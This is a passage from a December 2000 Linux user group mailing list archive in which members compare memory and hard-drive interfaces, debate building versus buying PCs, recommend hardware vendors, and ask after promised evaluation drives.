a new high end purchase soon you should wait for the DDR boards to come out. Also, if you have the inclination to build your own box, I can't stress enough the benefits of building your own PC versus buying a factory assembled one. I have been burned twice now on factory made PC's. Once from Packard Bell (P100) and once from Compaq (Athlon 600). I have totally rebuilt the latter PC - only thing original is the hard drive, CPU and mouse. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Michael Bresnahan" To: Sent: Monday, December 11, 2000 4:45 PM Subject: [TCLUG] RDRAM or no RDRAM > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > drive for $2178. For $400 more, they will sell me a Dimension XPS B > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > ATA-66? > > Both desktops come with a 1GZ PIII processor but the motherboard is > unspecified. > > Mike Bresnahan > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From cf352197 at oak.cats.ohiou.edu Tue Dec 12 08:55:26 2000 From: cf352197 at oak.cats.ohiou.edu (Charles Fulton) Date: Mon Jan 17 13:13:39 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM References: <3A3558FD.FB5CFCAF@mmm.com> <002001c06446$43b1d4b0$9c29680a@tgt.com> Message-ID: <3A363C5E.40B7B0F7@oak.cats.ohiou.edu> Does any one have any real world experience with ATA-66 vs 100? I would think the limitation would be how fast can the drive move data rather than the bus (if you only had one drive). A good 7200RPM drive can move data from the physical disk at about 30-40MB/s? You'd probably see an improvement if your drive had a big cache, but even so, for a real person sitting in front of it would it make any appreciable difference? Pondering Charlie "Thomas T. Veldhouse" wrote: > Well, if ATA-66 compared with ATA-33 is any indication - that should be a > wonderful improvement. However, you will notice very little with RDRAM and > it is a hell of a lot more expensive to upgrade RDRAM memory than SDRAM > memory. To be honest, if you are looking to make a new high end purchase > soon you should wait for the DDR boards to come out. From jasonj at innominatus.com Tue Dec 12 09:13:29 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:39 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM References: <3A3558FD.FB5CFCAF@mmm.com> <002001c06446$43b1d4b0$9c29680a@tgt.com> <3A363C5E.40B7B0F7@oak.cats.ohiou.edu> Message-ID: <3A364099.F6A9D347@innominatus.com> I dont know exactly how much, but I have only seen noticable improvements with ATA-100 over ATA-66 in RAID configurations. A Fasttrak 100 with 3 IBM 7200 ATA-100 30gig's is faster than a Fasttrak 66 with 3 Western Digital 7200 ATA-66 30gig's. Thats the only pertinent experience I have with 66vs100 right now. Charles Fulton wrote: > Does any one have any real world experience with ATA-66 vs 100? > > I would think the limitation would be how fast can the drive move data rather > than the bus (if you only had one drive). A good 7200RPM drive can move data > from the physical disk at about 30-40MB/s? You'd probably see an improvement > if your drive had a big cache, but even so, for a real person sitting in front > of it would it make any appreciable difference? > > Pondering > Charlie > > "Thomas T. Veldhouse" wrote: > > > Well, if ATA-66 compared with ATA-33 is any indication - that should be a > > wonderful improvement. However, you will notice very little with RDRAM and > > it is a hell of a lot more expensive to upgrade RDRAM memory than SDRAM > > memory. To be honest, if you are looking to make a new high end purchase > > soon you should wait for the DDR boards to come out. > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From crumley at belka.space.umn.edu Tue Dec 12 09:13:12 2000 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: ; from natecars@real-time.com on Fri, Dec 08, 2000 at 12:40:28PM -0600 References: Message-ID: <20001212091311.A720@baker.space.umn.edu> Has everyone who signed up to get a MO drive gotten one? How were they shipped? I still haven't gotten mine and I was gone a couple of days last week at the same time people started writing to the list that they had gotten their MO drives. I worried that someone might have grabbed it out of the mail. -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | From chad at bitstream.net Tue Dec 12 09:12:39 2000 From: chad at bitstream.net (Chad Juettner) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] strange entry in logs Message-ID: Has anyone seen this before? It showed up in /var/log/messages just before an entry saying that I entered a bad password when trying to ssh into my box. Dec 12 09:03:46 hendrix sshd[1269]: bad pkalg (?^T@(?^T@ From andy at theasis.com Tue Dec 12 09:08:52 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:39 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM In-Reply-To: <3A363C5E.40B7B0F7@oak.cats.ohiou.edu> Message-ID: On Tue, 12 Dec 2000, Charles Fulton wrote: > Does any one have any real world experience with ATA-66 vs 100? I initially set up my fastest system ata-66. It ran Win98. I then switched to ata-100. Same drive -- just changed the bus. I didn't really notice a difference. It's possible that the games paused a bit less. My own sense is that it's continuous bandwidth throughput demanded by the application that would highlight any difference. If so, then the question is, what do you do that fits that description? Andy > Pondering > Charlie > From b.layer at vikingelectronics.com Tue Dec 12 09:15:49 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: References: Message-ID: <00121209154900.02360@Billbob_Linux> I just built a Duron 700 system on the Abit KT-7 RAID, and so far, it's been a very pleasant experience. I bought my MB / CPU / fan from Multiwave (www.mwave.com) after finding them on pricewatch.com. It was the first time I have dealt with Multiwave, but they really came through. I did a lot of checking at www.resellerratings.com, and boy do you need to be careful who you deal with on the net. In the end, I saved maybe $50 over Tran on the whole deal, but waited a week for the parts. The heatsink / fan provided by Multiwave is in the 'adequate' category - I would have preferred the Global Win or Alpha cooler, but I got a fair deal. On Monday 11 December 2000 23:06, you wrote: > Most people I know have been buying AMD Thunderbirds and Abit KT7-RAID > boards and are very happy with them. http://www.mwave.com is probably > cheaper on the board and chip combos, but Tran is much better on memory, > and you don't have to pay shipping. I've owned one Tyan board, and I would never buy another - their tech support is dreadful, and there were several quality control issues on my board. Also, FWIW, the Tyan board will *not* run a CPU overclocked. All the settings are there, but I can never get it to go even a hair over spec. This might be the fault of the K6-2 cpus, but hard to say. I have no problems with FIC, I'm curious why Yaron is down on them. Generally, I find FIC to be a decent, versatile MB at a fair price. I would suggest building up your own system.. it's not that difficult, and very instructive. -- Bill Layer Sales Technician From esper at sherohman.org Tue Dec 12 09:17:52 2000 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <20001212091311.A720@baker.space.umn.edu>; from crumley@belka.space.umn.edu on Tue, Dec 12, 2000 at 09:13:12AM -0600 References: <20001212091311.A720@baker.space.umn.edu> Message-ID: <20001212091751.A20424@sherohman.org> On Tue, Dec 12, 2000 at 09:13:12AM -0600, Jim Crumley wrote: > I still haven't gotten mine and I was gone a couple > of days last week at the same time people started > writing to the list that they had gotten their MO > drives. I worried that someone might have grabbed > it out of the mail. If it makes you feel any better, I haven't seen mine yet either. -- "Two words: Windows survives." - Craig Mundie, Microsoft senior strategist "So does syphillis. Good thing we have penicillin." - Matthew Alton Geek Code 3.1: GCS d? s+: a- C++ UL++$ P++>+++ L+++>++++ E- W--(++) N+ o+ !K w---$ O M- V? PS+ PE Y+ PGP t 5++ X+ R++ tv b+ DI++++ D G e* h+ r y+ From nobody170 at yahoo.com Tue Dec 12 09:26:03 2000 From: nobody170 at yahoo.com (Bill Gladen) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] Re: Beer Meeting - Thursday, Dec 14th 6PM Message-ID: <20001212152603.4813.qmail@web703.mail.yahoo.com> I'll plan on being there. > Message: 3 > Date: Mon, 11 Dec 2000 16:08:10 -0600 > From: Jacqueline Urick > To: "tclug-list@listserv.real-time.com" > , > TCLUG Announcement list > Subject: [TCLUG] Beer Meeting - Thursday, Dec 14th 6PM > Reply-To: tclug-list@lists.real-time.com > > Hi - > > The last beer meeting of 2000 will be held at the Water Tower Brewing > Company in Eden Prairie. 6PM - 8PM? > > Details: > > Water Tower Brewing Company > 12200 Singletree Ln > at: Prairie Center Dr > Eden Prairie > 55344 > tel: (952) 941-8773 > > __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From b.layer at vikingelectronics.com Tue Dec 12 09:25:00 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] CompUSA comes through In-Reply-To: References: Message-ID: <00121209250001.02360@Billbob_Linux> I stopped by the Woodbury CompUSA to exchange a defective sound card (...) and noticed that they sold the very case that I was needing hardware for. I looked at the shelf sample, which was marked 'defective power supply - RMA on closeout'. The hardware kit was present, and to make a boring sotry short, I talked the manager (Steve, a very friendly gent) into selling me the complete hardware kit for $9.95. Case hardware problem solved, and a kudo for CompUSA for being unusually accomodating. If you need to buy at CompUSA, I'd try the Woodbury store next time.. might be better than the typical CompUSA experience. -- Bill Layer Sales Technician From dcsherman at qwest.net Tue Dec 12 11:31:58 2000 From: dcsherman at qwest.net (Dave Sherman) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: <00121209154900.02360@Billbob_Linux> References: Message-ID: <5.0.2.1.0.20001212092437.00a07bd0@pop.mpls.qwest.net> I, too, built my own system a year ago. It was sometimes frustrating, but it was an excellent learning experience, and also rewarding when it was done. I highly recommend you do it at least once in your life. But if you don't need the learning experience, or are constrained by a busy schedule, then let someone else build you a customer system. Dave Sherman System specs: Celeron 300A overclocked to 450MHz Abit BP6, original revision; BIOS required upgrade for 300A Celeron (took me forever to figure that out!) 256 MB RAM Western Digital Expert Series 8.5 GB HD (7200 RPM, 9 ms seek, ATA 66) Diamond Monster Fusion AGP, 16 MB SGRAM (anyone know the difference between SGRAM and SDRAM?) At 09:15 AM 12/12/2000 -0600, you wrote: >I would suggest building up your own system.. it's not that difficult, and >very instructive. > >-- >Bill Layer >Sales Technician > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list Dave Sherman SoftServ Business Systems, Inc. "Quid quid latine dictum sit, altum viditur." From b.layer at vikingelectronics.com Tue Dec 12 09:31:59 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] What is listening on 6XX ports? In-Reply-To: <20001211155830.C5402@socrates.sistina.com> References: <0012111511400I.00255@Billbob_Linux> <20001211155830.C5402@socrates.sistina.com> Message-ID: <00121209315902.02360@Billbob_Linux> Heya, > > >Thanks again, Ben. > > No problem. You gonna be at the next tclug-beer-meeting? Why, yes I am... Eden Prairie is very close to Savage, where I am currently hanging out. See you there? -- Bill Layer Sales Technician From veldy at veldy.net Tue Dec 12 09:36:31 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:39 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM References: Message-ID: <008501c06451$4d9d58e0$9c29680a@tgt.com> > I initially set up my fastest system ata-66. It ran Win98. I then > switched to ata-100. Same drive -- just changed the bus. I didn't really > notice a difference. It's possible that the games paused a bit less. Was the drive ATA-100 capable - if it wasn't it would not utilize the ATA-100 capabilities. If your drive is older than 5 or 6 months, it probably is not ATA-100 capable. Tom Veldhouse veldy@veldy.net From dopp at acm.cs.umn.edu Tue Dec 12 09:41:41 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:39 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: <00121209154900.02360@Billbob_Linux>; from b.layer@vikingelectronics.com on Tue, Dec 12, 2000 at 09:15:49AM -0600 References: <00121209154900.02360@Billbob_Linux> Message-ID: <20001212094141.A55872@sorry.cs.umn.edu> A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 1 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001212/6f582a23/attachment.bin From andy at theasis.com Tue Dec 12 09:41:50 2000 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:13:39 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM In-Reply-To: <008501c06451$4d9d58e0$9c29680a@tgt.com> Message-ID: > Was the drive ATA-100 capable - if it wasn't it would not utilize the > ATA-100 capabilities. If your drive is older than 5 or 6 months, it > probably is not ATA-100 capable. Sure, it's a Maxtor 30G 7200 -- I made a point to buy that one when I built the system. Andy > > Tom Veldhouse > veldy@veldy.net > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From rsinland at gvtel.com Tue Dec 12 09:55:24 2000 From: rsinland at gvtel.com (Robert Sinland) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] {off topic} Tranmicro systems References: <5.0.2.1.0.20001212092437.00a07bd0@pop.mpls.qwest.net> Message-ID: <3A364A6C.6E27DF42@gvtel.com> Dave Sherman wrote: > I, too, built my own system a year ago. It was sometimes frustrating, but > it was an excellent learning experience, and also rewarding when it was > done. I highly recommend you do it at least once in your life. But if you > don't need the learning experience, or are constrained by a busy schedule, > then let someone else build you a customer system. > I should have explained more I guess... I am perfectly able to build a system from scratch, have done so a few times. Just not _lately_ :) Thats why I was looking at the different MB/CPU combo's being offered and looking for suggestions. I was also under the impression that Tran would do mail order, maybe they wont.... Thanks, RS From cschumann at twp-llc.com Tue Dec 12 09:41:48 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] RE: AMD/Abit/ combos / video editing (was Tranmicro systems) References: <200012121424.eBCEOWn03145@sprite.real-time.com> Message-ID: <000e01c06455$6675ae40$1000a8c0@cschumann> > From: "Austad, Jay" > To: "'tclug-list@lists.real-time.com'" > Subject: RE: [TCLUG] {off topic} Tranmicro systems > Date: Mon, 11 Dec 2000 23:06:31 -0600 > Reply-To: tclug-list@lists.real-time.com > > Most people I know have been buying AMD Thunderbirds and Abit KT7-RAID > boards and are very happy with them. http://www.mwave.com is probably > cheaper on the board and chip combos, but Tran is much better on memory, and > you don't have to pay shipping. > > Jay I have a 900MHz Thunderbird and Abit KT7-RAID. I would suggest staying away from ATI video cards if you get the KT7. ATI does not seem to eager to endorse AMD CPU's. The box of my Radeon All-In-Wonder says a PIII is required. For lack of time, I have yet to try to get Linux running on this box, but Win2K runs very well. Win98 hangs during video capture. BTW, my current project is capturing my laserdisc collection, encoding with MP4 (DivX) and burning to CD-R. I'd appreciate pointers to software (free or not) that will allow me to do this on Linux. Chris From cschumann at twp-llc.com Tue Dec 12 10:05:50 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] RDRAM or no RDRAM References: <200012121424.eBCEOWn03145@sprite.real-time.com> Message-ID: <001101c06455$715be720$1000a8c0@cschumann> Look at the hard drive you'll have. For example, my drive (IBM 10krpm Ultra160 w/ 4MB cache) specs out at about 30MB/s sustained data rate. ATA-33 can handle that rate, but it won't handle copying between two drives at that rate, let alone any RAID improvement. ATA-100 should only really help over ATA-66 if you have two very fast drives on one controller and they use their caches. The caches can operate at the full bus speed. As for RDRAM, go check out tomshardware.com and that Apu page. Basically, what others have said is true: If you will be doing memory-intensive applications, or will be, or will eventually sell this box to someone who will, then it just might be worthwhile... or not. Also, most RDRAM machines come with the cheaper and slower PC600 RDRAM versus the faster and MUCH more expensive PC800. (To go from PC600 to PC800 on an IBM w/128MB RAM adds $400!) And Tom, I know I could be starting a religious war here, but I just built a pretty fast machine, and I'm not at all sure I'd do it again. You can get really very good machines from vendors (I think at least IBM and Dell sell machines with no hard drive, for example), but you do have to monitor their choices of components. OTOH, I would feel very comfortable building a machine that's not on the bleeding edge. Chris > From: "Thomas T. Veldhouse" > To: > Subject: Re: [TCLUG] RDRAM or no RDRAM > Date: Tue, 12 Dec 2000 08:17:30 -0600 > Reply-To: tclug-list@lists.real-time.com > > Well, if ATA-66 compared with ATA-33 is any indication - that should be a > wonderful improvement. However, you will notice very little with RDRAM and > it is a hell of a lot more expensive to upgrade RDRAM memory than SDRAM > memory. To be honest, if you are looking to make a new high end purchase > soon you should wait for the DDR boards to come out. > > Also, if you have the inclination to build your own box, I can't stress > enough the benefits of building your own PC versus buying a factory > assembled one. I have been burned twice now on factory made PC's. Once > from Packard Bell (P100) and once from Compaq (Athlon 600). I have totally > rebuilt the latter PC - only thing original is the hard drive, CPU and > mouse. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Michael Bresnahan" > To: > Sent: Monday, December 11, 2000 4:45 PM > Subject: [TCLUG] RDRAM or no RDRAM > > > > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > > drive for $2178. For $400 more, they will sell me a Dimension XPS B > > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > > ATA-66? > > > > Both desktops come with a 1GZ PIII processor but the motherboard is > > unspecified. > > > > Mike Bresnahan From destef at destef.com Tue Dec 12 10:12:34 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <20001212091751.A20424@sherohman.org> Message-ID: What did you guys have to do to get signed up for one? Are they free? Jason On Tue, 12 Dec 2000, Dave Sherohman wrote: > On Tue, Dec 12, 2000 at 09:13:12AM -0600, Jim Crumley wrote: > > I still haven't gotten mine and I was gone a couple > > of days last week at the same time people started > > writing to the list that they had gotten their MO > > drives. I worried that someone might have grabbed > > it out of the mail. > > If it makes you feel any better, I haven't seen mine yet either. > > From chrome at real-time.com Tue Dec 12 10:47:33 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:40 2005 Subject: 66 or 100 was: [TCLUG] RDRAM or no RDRAM In-Reply-To: <3A363C5E.40B7B0F7@oak.cats.ohiou.edu>; from cf352197@oak.cats.ohiou.edu on Tue, Dec 12, 2000 at 09:55:26AM -0500 References: <3A3558FD.FB5CFCAF@mmm.com> <002001c06446$43b1d4b0$9c29680a@tgt.com> <3A363C5E.40B7B0F7@oak.cats.ohiou.edu> Message-ID: <20001212104733.D18580@real-time.com> > Does any one have any real world experience with ATA-66 vs 100? a friend of mine claims that going from a ata-66 to an ata-100 drive made a noticeable improvement in speed; even tho it was on an ata-66 controller. he claims they were both IBM drives with 2MB cache and 7200RPM. he's not the most computer-savvy person in the world, tho; so I'll take his word with a grain of salt. (maybe some other config changed... it was under Windows after all). Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From jethro at freakzilla.com Tue Dec 12 10:49:34 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Verbatim MO Drive In-Reply-To: <20001212091751.A20424@sherohman.org> Message-ID: Hi, On Tue, 12 Dec 2000, Dave Sherohman wrote: > If it makes you feel any better, I haven't seen mine yet either. Me neither. I also haven't received a LOT of OTHER mail that other people have. -Yaron -- From andyzb at ltiflex.com Tue Dec 12 10:49:07 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Verbatim MO Drive References: Message-ID: <3A365703.BC3183D8@ltiflex.com> Jason DeStefano wrote: > > What did you guys have to do to get signed up for one? > Are they free? Olympus/Verbatim wants feedback from Linux users on their product. I belive it was Clay they contacted looking for 20 members of the lug. If you could meet their requirments (2 years Linux expierence, scsi capible system, etc...) you could get an evaluation unit (to evaluate and keep). As it is, you're too late, sorry. And mine hasn't shown up either. Maybe I should have had it shipped to the office...humph. Oh well. -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From hick0088 at tc.umn.edu Tue Dec 12 10:50:29 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] RDRAM or no RDRAM [OT] References: <3A3558FD.FB5CFCAF@mmm.com> Message-ID: <3A365755.623DEB36@tc.umn.edu> Michael Bresnahan wrote: > > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > drive for $2178. For $400 more, they will sell me a Dimension XPS B > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > ATA-66? I've heard good things about DDR (Double Data Rate) SDRAM systems. Essentially the same effect as getting RDRAM (you get 1.5 or 2 bits/cycle passed over a data line), but I hear it's much cheaper/easier to make. Unfortunately, I'm not sure if they're on the market yet, and you have to be willing to go with an AMD Athlon instead (oh the horror! ;-). -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Zen T-Shirt: / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Enlightenment Available \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) -- Enquire Within. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From veldy at veldy.net Tue Dec 12 11:10:10 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] RDRAM or no RDRAM [OT] References: <3A3558FD.FB5CFCAF@mmm.com> <3A365755.623DEB36@tc.umn.edu> Message-ID: <00dd01c0645e$628af070$9c29680a@tgt.com> I believe that VIA is planning on releasing a chipset for DDR memory on a P4 (as well as P3). Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Michael Hicks" To: Sent: Tuesday, December 12, 2000 10:50 AM Subject: Re: [TCLUG] RDRAM or no RDRAM [OT] > I've heard good things about DDR (Double Data Rate) SDRAM systems. > Essentially the same effect as getting RDRAM (you get 1.5 or 2 > bits/cycle passed over a data line), but I hear it's much cheaper/easier > to make. Unfortunately, I'm not sure if they're on the market yet, and > you have to be willing to go with an AMD Athlon instead (oh the horror! > ;-). > From fjorn at mninter.net Tue Dec 12 11:29:55 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] {off topic} Tranmicro systems References: <5.0.2.1.0.20001212092437.00a07bd0@pop.mpls.qwest.net> <3A364A6C.6E27DF42@gvtel.com> Message-ID: <3A366093.42B99831@mninter.net> Robert Sinland wrote: I should have explained more I guess... > I am perfectly able to build a system from scratch, have done so a few times. > Just not _lately_ :) > Thats why I was looking at the different MB/CPU combo's being offered > and looking for suggestions. > I was also under the impression that Tran would do mail order, maybe they > wont.... > Thanks, > RS I built an AMD T-bird 1000 on a Biostar (mk-7b I think) board, 256MB SDRAM stick, SB-Live X-gamer audio, Creative Annihalator 32MB Geforce2 video card, WD 5400rpm 45GB drive, and a few other things in it. Unfortunately I haven't had the time to put Linux on it yet. Win98se has a shut down issue with it, typical of 98se with a nic card in it (3c905c 10/100). Trying to get SuSE 7.0 on it when I get a chance. In the documentation Biostar said that the board tested very well with RH. Not sure of the version, 6.2 I think. Picked board, CPU, memory, NIC and case up from General Nanosystems. Only thing I found out is that I should've gotten the 300W power supply. I asked and the person there said it was okay at 250. May switch it out shortly... About a month ago, paid a little over $800 for what I got at GNS. Shawn From austad at marketwatch.com Tue Dec 12 11:24:54 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] {off topic} Tranmicro systems Message-ID: I don't think you can upgrade the processor if you buy a dell either. The bios is locked at whatever multiplier the original chip had. You can probably flash the bios with something else though since it's a standard Intel MB. Jay > -----Original Message----- > From: fjorn [mailto:fjorn@mninter.net] > Sent: Tuesday, December 12, 2000 11:30 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] {off topic} Tranmicro systems > > > > > Robert Sinland wrote: > I should have explained more I guess... > > > I am perfectly able to build a system from scratch, have > done so a few times. > > Just not _lately_ :) > > Thats why I was looking at the different MB/CPU combo's > being offered > > and looking for suggestions. > > I was also under the impression that Tran would do mail > order, maybe they > > wont.... > > Thanks, > > RS > > I built an AMD T-bird 1000 on a Biostar (mk-7b I think) > board, 256MB SDRAM stick, > SB-Live X-gamer audio, Creative Annihalator 32MB Geforce2 > video card, WD 5400rpm > 45GB drive, and a few other things in it. Unfortunately I > haven't had the time > to put Linux on it yet. Win98se has a shut down issue with > it, typical of 98se > with a nic card in it (3c905c 10/100). Trying to get SuSE > 7.0 on it when I get a > chance. > > In the documentation Biostar said that the board tested very > well with RH. Not > sure of the version, 6.2 I think. Picked board, CPU, memory, > NIC and case up > from General Nanosystems. Only thing I found out is that I > should've gotten the > 300W power supply. I asked and the person there said it was > okay at 250. May > switch it out shortly... About a month ago, paid a little > over $800 for what I > got at GNS. > > Shawn > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From mbresnahan1 at mmm.com Tue Dec 12 11:37:11 2000 From: mbresnahan1 at mmm.com (Michael Bresnahan) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] RDRAM or no RDRAM References: <3A3558FD.FB5CFCAF@mmm.com> <002001c06446$43b1d4b0$9c29680a@tgt.com> Message-ID: <3A366247.737E9655@mmm.com> I built my last PC and had 2 years of hell. The machine was and still is very unstable, and that is why I'm in the market for a new one. Prior to my current machine I had a Packard Bell box and it worked wonderfully. I'm planning on buying a prebuilt one again this time. Maybe I just had bad luck. In any case, a Dell costs the same or a little less than what I could build the same thing for, so I don't see the point of building my own this time. Mike Bresnahan ---- "Thomas T. Veldhouse" wrote: > Well, if ATA-66 compared with ATA-33 is any indication - that should be a > wonderful improvement. However, you will notice very little with RDRAM and > it is a hell of a lot more expensive to upgrade RDRAM memory than SDRAM > memory. To be honest, if you are looking to make a new high end purchase > soon you should wait for the DDR boards to come out. > > Also, if you have the inclination to build your own box, I can't stress > enough the benefits of building your own PC versus buying a factory > assembled one. I have been burned twice now on factory made PC's. Once > from Packard Bell (P100) and once from Compaq (Athlon 600). I have totally > rebuilt the latter PC - only thing original is the hard drive, CPU and > mouse. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Michael Bresnahan" > To: > Sent: Monday, December 11, 2000 4:45 PM > Subject: [TCLUG] RDRAM or no RDRAM > > > Dell will sell me a Dimension 4100 with 133Mhz SDRAM and a ATA-66 hard > > drive for $2178. For $400 more, they will sell me a Dimension XPS B > > with RDRAM and a ATA-100 hard drive. Can you tell me what the extra > > $400 buys me? How much better is RDRAM over SDRAM and ATA-100 over > > ATA-66? > > > > Both desktops come with a 1GZ PIII processor but the motherboard is > > unspecified. > > > > Mike Bresnahan > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From dopp at acm.cs.umn.edu Tue Dec 12 11:47:13 2000 From: dopp at acm.cs.umn.edu (dopp@acm.cs.umn.edu) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] {off topic} Tranmicro systems In-Reply-To: <3A366093.42B99831@mninter.net>; from fjorn@mninter.net on Tue, Dec 12, 2000 at 11:29:55AM -0600 References: <5.0.2.1.0.20001212092437.00a07bd0@pop.mpls.qwest.net> <3A364A6C.6E27DF42@gvtel.com> <3A366093.42B99831@mninter.net> Message-ID: <20001212114713.D55872@sorry.cs.umn.edu> > Win98se has a shut down issue with it, typical of 98se with a nic card in > it (3c905c 10/100). Do you have all the latest updates? I recall their being a fix for that problem. Now forget I ever admitted to knowing the above :) Gabe -- -------------------------------------------------------------------------------- Gabe Turner | X-President, UNIX Systems Administrator, | Assoc. for Computing Machinery U of M Supercomputing Institute for | University of Minnesohta Digital Simulation and Advanced Computation | dopp@acm.cs.umn.edu "Let's take a closer look, shall we? What's this? AHHH! An ingrowned dunclaw! Disqualified!!!! Take him away!" -- Judge "YOW!! I spent months pushing in that dunclaw!!" -- George Liquor - Stimpy fails George Liquor in "Dog Show" -------------------------------------------------------------------------------- From fjorn at mninter.net Tue Dec 12 12:23:01 2000 From: fjorn at mninter.net (fjorn) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] {off topic} Tranmicro systems References: <5.0.2.1.0.20001212092437.00a07bd0@pop.mpls.qwest.net> <3A364A6C.6E27DF42@gvtel.com> <3A366093.42B99831@mninter.net> <20001212114713.D55872@sorry.cs.umn.edu> Message-ID: <3A366D05.66C8B645@mninter.net> dopp@acm.cs.umn.edu wrote: > > Win98se has a shut down issue with it, typical of 98se with a nic card in > > it (3c905c 10/100). > > Do you have all the latest updates? I recall their being a fix for that > problem. > > Now forget I ever admitted to knowing the above :) > > Gabe Of course. I've applied all 4 versions of it at various times and it still doesn't matter. Then again, look at all the security and other fixes they come out with constantly. Hard to believe that 10 months ago, I was a die-hard MS person. Now, to give fair gripe, I've only encountered a couple of hangup issues with Linux. Mandrake 7.0 would hang on me during shutdown when in KDE. I had one session on my laptop with SuSE 6.4 on shutdown with KDE, since switching to Gnome haven't encountered any. Though, periodically on a system start/restart the pcmcia modules wouldn't load and it would hang up or lock when trying to load the NIC drivers on pcmcia startup. Out of the two, I'll take the minor Linux issues over Windows problems anytime. Shawn From jeff.lehman at iname.com Tue Dec 12 13:22:09 2000 From: jeff.lehman at iname.com (Jeffrey C. Lehman) Date: Mon Jan 17 13:13:40 2005 Subject: [TCLUG] Number Nine Revolution IV and X Message-ID: <5.0.0.25.2.20001212131219.02ee7008@mail.digitalguy.net> I am trying to get Xwindows running on my main computer with my Number Nine Revolution IV card. It 